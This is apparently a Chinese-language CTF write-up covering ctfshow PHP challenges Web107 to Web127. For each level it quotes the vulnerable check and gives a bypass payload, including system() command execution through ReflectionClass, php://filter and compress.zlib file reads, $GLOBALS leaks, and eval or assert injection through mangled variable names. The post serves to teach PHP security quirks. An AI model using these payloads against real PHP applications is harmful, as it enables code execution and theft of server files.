PHP特性 web107-

Heck1ng發表於2024-04-13

Web107

parse_str函式

將前字串解析到後邊,實現變數的覆蓋

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

傳入v3為v3[] = 1,則md5返回為null,因此可以傳入任意的v1,v2[flag]也為null

Web108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
} //只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;

ereg()函式用指定的模式搜尋一個字串中指定的字串,如果匹配成功返回true,否則,則返回false。搜尋字母的字元是大小寫敏感的,

strrev() 函式反轉字串

intval() 函式用於獲取變數的整數值

首先需要知道%00可以截斷ereg()函式的搜尋,正規表示式只會匹配%00之前的內容;

0x36d的十進位制內容為877,我們需要字母在前來滿足if條件的正則匹配來跳過if語句,接著再進行字串的反轉得到877a,接著intval()函式取整數部分得到877所以payload為
?c=a%00778

Web109

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");

ReflectionClass 或者 ReflectionMethod 都為常用的反射類,可以理解為一個類的對映

payload:

v1=ReflectionClass&v2=system("ls")

?v1=ReflectionClass&v2=system("tac fl36dg.txt")

Web110

FilesystemIterator迭代器

利用 FilesystemIterator 獲取指定目錄下的所有檔案

getcwd()函式 獲取當前工作目錄

echo new FilesystemIterator(getcwd()); //預設只顯示第一個檔案,需要遍歷

可以檢視存在的檔案,之後在url裡訪問得到的falg檔名稱。

Web111($Globals)

首選需要v1含有ctfshow才能過正則,執行getflag函式,所以v1=ctfshow,接著再getflag函式里,會把v2的地址傳給v1,接著再輸出v1,這裡我們可以使用php裡的全域性變數GLOBALS

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1); }


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1"); }
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2"); }
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2); }

$GLOBALS — 引用全域性作用域中可用的全部變數 一個包含了全部變數的全域性組合陣列。變數的名字就是陣列的鍵。
因此構造payload為v1=ctfshow&v2=GLOBALS

Web112&Web114

function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

這裡is_file進行判斷,需要file為非檔案型別才可以繞過判斷,使用php偽協議,

php://filter/resource=flag.php 即可繞過檢視flag.php

Web113

過濾了filter過濾器

多過濾了filter上一題的不能在繼續使用,可以使用hint中的那個解法和上一題中的compress.zlib://flag.php

payload:

?file=compress.zlib://flag.php

Web114

在php中"36"是等於"\x0c36"的,同時trim也不會過濾掉\x0c也就是%0c,提交payload: /?num=%0c36
此時$num不等於36,且為數字,trim以後也不等於36,且'\x0c36'=='36'

Web123

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;

在php中變數命名中我們是不能傳入[、空格 +的。如果有則會被轉化為_

所以按理來說我們構造不出CTF_SHOW.COM這個變數(因為含有.)

但php中有個特性就是如果傳入[,它被轉化為_之後,後面的字元就會被保留下來不會被替換

所以後面的.就可以使用了

因此我們可以post CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

Web125

和上一道題一樣,多過濾了echo 和flag 我們可以利用可以新建一個檔案其轉折作用

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

?1=flag.php

Web126(未做)

過濾了很多字母 highlight無法使用

這裡使用了

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127

extract() 函式從陣列中將變數匯入到當前的符號表,使用陣列鍵名作為變數名,使用陣列鍵值作為變數值

舉例就是?a=2,就會變成$a=2,這裡ctf_show有個_需要構造,前面說過php中變數名只有數字字母下劃線,被get或者post傳入的變數名,如果含有空格、+、[則會被轉化為_,這裡空格沒有被ban,所以我們就使用空格,payload為

?ctf show=ilove36d

相關文章